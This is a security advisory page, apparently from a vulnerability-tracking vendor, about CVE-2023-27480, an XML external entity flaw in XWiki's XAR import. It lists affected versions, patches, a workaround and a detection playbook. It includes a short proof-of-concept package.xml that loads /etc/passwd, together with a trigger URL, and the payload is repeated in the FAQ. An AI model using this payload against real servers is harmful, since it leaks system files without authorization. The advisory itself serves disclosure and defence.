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Maven

GHSA-gx4f-976g-7g6v

HIGH

XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference

Also known asCVE-2023-27480
Published
Mar 8, 2023
Updated
Nov 8, 2023
Affected
3 pkgs
Patched
3 / 3
Exploits
2 known

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk50th percentile+0.32%
0.00%0.59%1.17%1.76%1.1%0.7%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

3 pkgs affected
org.xwiki.platform:xwiki-platform-xar-modelorg.xwiki.platform:xwiki-platform-xar-modelorg.xwiki.platform:xwiki-platform-xar-model

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.

Example to reproduce:

  • Create a forget XAR file and inside it, have the following package.xml content:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    
    <package>
    <infos>
    <name>&xxe;</name>
    <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
    <licence></licence>
    <author>XWiki.Admin</author>
    ...
    
  • Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar).
  • Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar

You'll then notice that the displayed UI contains the content of the /etc/passwd file.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.

Workarounds

You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).

References

For more information

If you have any questions or comments about this advisory:

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
Mavenorg.xwiki.platform:xwiki-platform-xar-model1.1-milestone-3&&< 13.10.1113.10.11
Mavenorg.xwiki.platform:xwiki-platform-xar-model14.0&&< 14.4.714.4.7
Mavenorg.xwiki.platform:xwiki-platform-xar-model14.5&&< 14.10-rc-114.10-rc-1
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-xar-model. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update org.xwiki.platform:xwiki-platform-xar-model to 13.10.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gx4f-976g-7g6v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gx4f-976g-7g6v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gx4f-976g-7g6v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host. Example to reproduce: * Create a forget XAR file and inside it, have the following `package.xml` content: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <package> <infos> <name>&xxe;</name> <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description> <licence></licence> <author>XWiki.Admin</author> ...
O3 Security · Impact-Aware SCA

Is GHSA-gx4f-976g-7g6v in your dependencies?

O3 detects GHSA-gx4f-976g-7g6v across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.